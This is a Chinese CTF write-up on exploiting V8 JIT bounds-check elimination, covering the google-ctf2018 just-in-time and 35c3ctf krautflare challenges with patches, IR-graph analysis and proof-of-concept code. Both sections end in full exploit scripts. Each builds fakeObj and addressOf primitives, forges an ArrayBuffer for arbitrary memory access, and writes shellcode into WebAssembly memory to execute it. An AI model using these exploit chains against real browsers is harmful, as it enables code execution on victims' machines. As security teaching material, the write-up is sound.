0%

v8的JIT边界检查(CheckBounds)消除的利用

文章首发于安全KER https://www.anquanke.com/post/id/226065

0x00 前言

从两道题学习v8中JIT优化的CheckBounds消除在漏洞中的利用

0x01 前置知识

生成IR图

在运行d8时加一个--trace-turbo选项,运行完成后,会在当前目录下生成一些json文件,这些便是JIT优化时的IR图数据。

1
./d8 --trace-turbo test.js

Turbolizer搭建

我们需要看懂v8的sea of node的IR图,v8为我们准备了一个可视化的IR图查看器Turbolizer,搭建Turbolizer的方法如下(先确保node.js为新版本)

1
2
3
4
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer

然后浏览器访问8000端口,即可使用该工具,按CTRL+L可以将v8生成的IR图数据文件加载进来可视化查看

sea of node学习

一个简单的示例,使用--trace-turbo运行

1
2
3
4
5
6
7
8
9
10
11
12
13
function opt(f) {
var x = f ? 1.1 : 2.2;
x += 1;
x *= 1;
return x;
}

for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}

print(opt(true));

将生成的json文件用Turbolizer打开

左上角有许多的阶段选择,后面的序号代表它们的顺序,首先是TFBytecodeGraphBuilder阶段,该阶段就是简单的将js代码翻译为字节码,点击展开按钮,我们将所有节点展开查看

我们的var x = f ? 1.1 : 2.2;被翻译为了一个Phi节点,即其具体值不能在编译时确定,然后使用了SpeculativeNumberAddSpeculativeNumberMultiply做了x+=1;x*=1的运算。
接下来进入一个比较重要的阶段是TFTyper阶段,该阶段会尽可能的推测出节点的类型

其中整数会使用Range来表示,接下来TFTypedLowering阶段会使用更加合适的函数来进行运算

TFSimplifiedLowering阶段,会去掉一些不必要的运算,然后统一类型

CheckBounds节点

在数组下标访问中, CheckBounds用来检查边界,如下一个简单示例

1
2
3
4
5
6
7
8
9
10
11
function opt() {
var arr = [1.1,2.2];
var x = 1;
return arr[x];
}

for (var i=0;i<0x20000;i++) {
opt();
}

print(opt());

如图,在TFLoadElimination阶段,有CheckBounds检查下标是否越界

然而到了simplified lowering阶段,由于已经知道下标没有越界,因此可以直接去掉CheckBounds节点

现在假如我们将arr对象放到opt函数外部,那么由于编译的是opt函数,arr的信息JIT不能完全掌握,便不会消除CheckBounds节点

1
2
3
4
5
var arr = [1.1,2.2];
function opt() {
var x = 1;
return arr[x];
}

然而在最新版的v8中,不再有CheckBounds的消除,因为这个对于漏洞利用来说太方便了。

CheckBounds消除的利用

在数值的运算错误漏洞中,在javascript层和JIT优化的代码,两者计算的数值如果不一致,那么就可以利用这种CheckBounds消除来实现数组越界

0x02 google-ctf2018-final-just-in-time

patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);

patch文件在TypedLoweringPhase阶段增加了一个自定义的优化方案,它会检查该阶段的Opcode,如果遇到kNumberAdd,并且两个操作数为NumberConstant类型,那么就会将结果运算以后,替换节点

1
2
3
4
5
6
7
8
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}

使用如下测试

1
2
3
4
5
6
7
8
9
10
11
12
function opt(f) {
var x = f ? 1.1:2.2;
var y = x + 1 + 1;
return y;
}

for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}

print(opt(true));

typer阶段时,使用了两次SpeculativeNumberAdd[Number]来进行加1

而到了TypedLowering阶段,由于使用的是NumberAdd,因此1+1直接被优化计算出来了

假如使用如下的代码,发现不会使用NumberAdd,由此知道NumberAdd出现在不同的数值类型之间

1
2
3
4
5
function opt(f) {
var x = f ? 1:2;
var y = x + 1 + 1;
return y;
}

漏洞利用

需要借助IEE754的精度丢失来达到利用,在IEE754中,能够准确表示的最大整数为9007199254740991,大于这个数进行运算的话,会出现错误。
比如

1
2
3
4
5
6
7
8
9
var x = 9007199254740991;
x += 1;
x += 1;
x += 1;
x += 1;
x += 1;
print(x);
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js
9007199254740992

1
2
3
4
5
var x = 9007199254740991;
x += 5;
print(x);
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js
9007199254740996

因此,由于patch的加入,原本我们的x + 1 + 1与优化后的x + 2可能并不相等,那么就有可能在优化后造成数组越界。
首先构造

1
2
3
4
5
6
7
8
9
10
11
12
13
function opt() {
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var x = Number.MAX_SAFE_INTEGER + 4;
var y = x + 1 + 1;
var index = y - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}

for (var i=0;i<0x20000;i++) {
opt();
}

print(opt());

发现并没有成功越界,查看IR图

由于opt里面全都是NumberConstants,导致所有的加法都被优化了,而我们仅仅想要优化1+1,由此,我们可以构造一个Phi节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function opt(f) {
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var x = f ? Number.MAX_SAFE_INTEGER + 4:Number.MAX_SAFE_INTEGER+1;
var y = x + 1 + 1;
var index = y - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}

for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}

print(opt(true));

发现这回成功溢出

1
2
3
4
5
6
7
8
9
10
11
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js --trace-turbo
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method opt using Turbofan
---------------------------------------------------
Finished compiling method opt using Turbofan
---------------------------------------------------
Begin compiling method using Turbofan
---------------------------------------------------
Finished compiling method using Turbofan
-1.1885946300594787e+148

分析IR图,patch的优化后于NumberAdd等,因此在最后一步减法NumberSubtract后,确定了Range(0,4),显然这个范围不会越界,但是接下来patch的优化将NumberAdd(1,1)优化为了2,那么最终结果已发生变化,但是没有更新CheckBounds的范围

那么到达simplified lowering时,CheckBounds就会被移除,那么就可以溢出了

那么构造fakeObjaddressOf原语,然后利用即可
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}

var arr;
function opt(f) {
arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}

for (var i=0;i<0x30000;i++) {
opt(true);
opt(false);
}

var obj = {};
double_elements_map_addr = u64f(opt(true)) - 0x1n;
var obj_arr = [obj];
var obj_elements_map = i2f64(double_elements_map_addr + 0xa1n);
print("double_elements_map=" + double_elements_map_addr.toString(16));
print("obj_elements_map=" + u64f(obj_elements_map).toString(16));

function fakeObj_opt(addr,f) {
arr = [addr,2.2,3.3,4.4,5.5,6.6];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
arr[index] = obj_elements_map;
return arr;
}

for (var i=0;i<0x30000;i++) {
fakeObj_opt(1.1+i,true);
fakeObj_opt(1.1+i,false);
}

function fakeObj(addr) {
var addr_f = i2f64(addr + 0x1n);
return fakeObj_opt(addr_f,true)[0];
}

var double_elements_map_obj = fakeObj(double_elements_map_addr);

function addressOf_opt(obj,f) {
arr = [obj,obj,obj,obj,obj,obj];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
arr[index] = double_elements_map_obj;
return arr;
}

for (var i=0;i<0x30000;i++) {
addressOf_opt(obj,true);
addressOf_opt(obj,false);
}

function addressOf(obj) {
var a = addressOf_opt(obj,true)[0];
return u64f(a) - 0x1n;
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];

var faker_addr = addressOf(faker);
/*print('wasm='+addressOf(wasmInstance).toString(16));
%DebugPrint(wasmInstance);
%SystemBreak();*/
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0xf8n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000082003ffn);
faker[3] = i2f64(0);

//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;

var arb_ArrayBuffer = fakeObj(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

addressOf_optfakeObj_opt中,我们没有直接返回arr[0]这是因为arr在opt函数内部,编译时收集的信息足够充分,即使我们改了map,也不影响其取出的值,因此,我们要返回整个arr对象。

0x03 35c3ctf-krautflare

patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
commit 950e28228cefd1266cf710f021a67086e67ac6a6
Author: Your Name <you@example.com>
Date: Sat Dec 15 14:59:37 2018 +0100

Revert "[turbofan] Fix Math.expm1 builtin typing."

This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885.

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js
index 09796a9ff4..0f65ddb56b 100644
--- a/test/mjsunit/regress/regress-crbug-880207.js
+++ b/test/mjsunit/regress/regress-crbug-880207.js
@@ -4,34 +4,10 @@

// Flags: --allow-natives-syntax

-(function TestOptimizedFastExpm1MinusZero() {
- function foo() {
- return Object.is(Math.expm1(-0), -0);
- }
+function foo() {
+ return Object.is(Math.expm1(-0), -0);
+}

- assertTrue(foo());
- %OptimizeFunctionOnNextCall(foo);
- assertTrue(foo());
-})();
-
-(function TestOptimizedExpm1MinusZeroSlowPath() {
- function f(x) {
- return Object.is(Math.expm1(x), -0);
- }
-
- function g() {
- return f(-0);
- }
-
- f(0);
- // Compile function optimistically for numbers (with fast inlined
- // path for Math.expm1).
- %OptimizeFunctionOnNextCall(f);
- // Invalidate the optimistic assumption, deopting and marking non-number
- // input feedback in the call IC.
- f("0");
- // Optimize again, now with non-lowered call to Math.expm1.
- assertTrue(g());
- %OptimizeFunctionOnNextCall(g);
- assertTrue(g());
-})();
+assertTrue(foo());
+%OptimizeFunctionOnNextCall(foo);
+assertTrue(foo());

这是一个v8的历史漏洞,patch将漏洞重新引入,其代号为880207,首先该漏洞出现在typer.cc中,因此猜测该漏洞出现在Typer阶段,并且该漏洞与Math.expm1(x)函数有关,Typer推断Math.expm1(x)函数的返回类型时,认为Math.expm1(x)的返回类型为PlainNumber或者Nan,却忽略了一种情况,那就是Math.expm1(-0),其返回值为-0,而-0属于HEAP_NUMBER_TYPE类型,在JIT编译时期与运行时期,就会有不一样的结果,比如

1
Object.is(Math.expm1(-0),-0)

在编译时期,JIT认为该值肯定为false,因为两者的类型不可能相等,但是在实际运行当中,Object.is(Math.expm1(x),-0),如果x为-0,那么结果就会为true

漏洞利用

在javascript中,布尔类型可以直接做加减乘除运算

1
2
3
4
false+1
1
true+1
2

因此,我们可以利用这种特性,将漏洞转换为一个数组越界,首先构造

1
2
3
4
5
6
7
8
9
10
11
12
13
function opt(x) {
var a = Object.is(Math.expm1(x),-0);
var arr = [1.1,2.2,3.3,4.4];
a += 3;
return arr[a];
}

for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}

print(opt(-0));

opt("0");是为了适配非PlainNumber类型的参数,这样最后一步调用opt(-0)不会进行deoptimization,运行发现,没有成功越界,查看IR图

可以看到JSCall[PlainNumber | NaN],然后使用SameValue运算后,与3相加,最后得出范围Range(0,3)传给CheckBounds
然而到了TypedLowering阶段,发现下标直接变成了3,即发生常数折叠

为了避免发生这样的常数折叠现象,我们可以使用一个字典对象来将我们的-0包含在内部,这样,只有在Escape Analyse阶段才能知道其值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function opt(x) {
var escape = {v:-0};
var a = Object.is(Math.expm1(x),escape.v);
var arr = [1.1,2.2,3.3,4.4];
a += 3;
return arr[a];
}

for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}

print(opt(-0));

运行后发现确实发生了数组越界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@ubuntu:~/Desktop/krautflare# ./d8 1.js --trace-turbo
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method opt using Turbofan
---------------------------------------------------
Finished compiling method opt using Turbofan
---------------------------------------------------
Begin compiling method opt using Turbofan
---------------------------------------------------
Finished compiling method opt using Turbofan
---------------------------------------------------
Begin compiling method using Turbofan
---------------------------------------------------
Finished compiling method using Turbofan
2.89459808827e-311

查看IR图,这回在Typer阶段,还不能确定准确值,因此有一个范围Range(3,4)

然后过了Escape Analyse阶段,才发现范围在Range(0,3)内,于是到了simplified lowering阶段,便把CheckBounds给去除了

由此造成了溢出,可以利用溢出,构造一个oob_arr,来达到自由溢出,然后利用手法就一样了。
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}

var obj = {};
var oob_arr;
var obj_arr;
var double_arr;

function opt(x) {
var arr = [1.1,2.2,3.3,4.4];
oob_arr = [5.5,6.6];
obj_arr = [obj];
double_arr = [1.1];
var tmp = {escapeVar: -0};
var index = Object.is(Math.expm1(x),tmp.escapeVar);
index *= 11;
//制造oob_arr
arr[index] = p64f(0,0x1000);
}

for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}
//触发漏洞
opt(-0);


var double_elements_map = oob_arr[0x10];
var obj_elements_map = oob_arr[0x9];

function fakeObj(addr) {
var addr_f = i2f64(addr + 0x1n);
double_arr[0] = addr_f;
oob_arr[0x10] = obj_elements_map;
var a = double_arr[0];
oob_arr[0x10] = double_elements_map;
return a;
}

function addressOf(obj) {
obj_arr[0] = obj;
oob_arr[0x9] = double_elements_map;
var a = obj_arr[0];
oob_arr[0x9] = obj_elements_map;
return u64f(a) - 0x1n;
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];

var faker_addr = addressOf(faker);
print('wasm='+addressOf(wasmInstance).toString(16));
/*
%DebugPrint(wasmInstance);
%SystemBreak();
*/
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0xe8n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000082003ffn);
faker[3] = i2f64(0);

//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;

var arb_ArrayBuffer = fakeObj(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

0x04 感想

在数值误差的漏洞当中,我们往往利用CheckBounds的消除来构造OOB数组,其中要保证这个数组是一个非逃逸对象,即在函数内部声明和使用,这样JIT收集的信息充分,才能决定是否要移除CheckBounds节点,似乎在新版本v8中,simplified lowering阶段不再去除该节点,以后遇到再看。

0x05 参考

从漏洞利用角度介绍Chrome的V8安全研究
introduction-to-turbofan
利用边界检查消除破解Chrome JIT编译器
关于2018_35c3ctf_krautflare的分析复现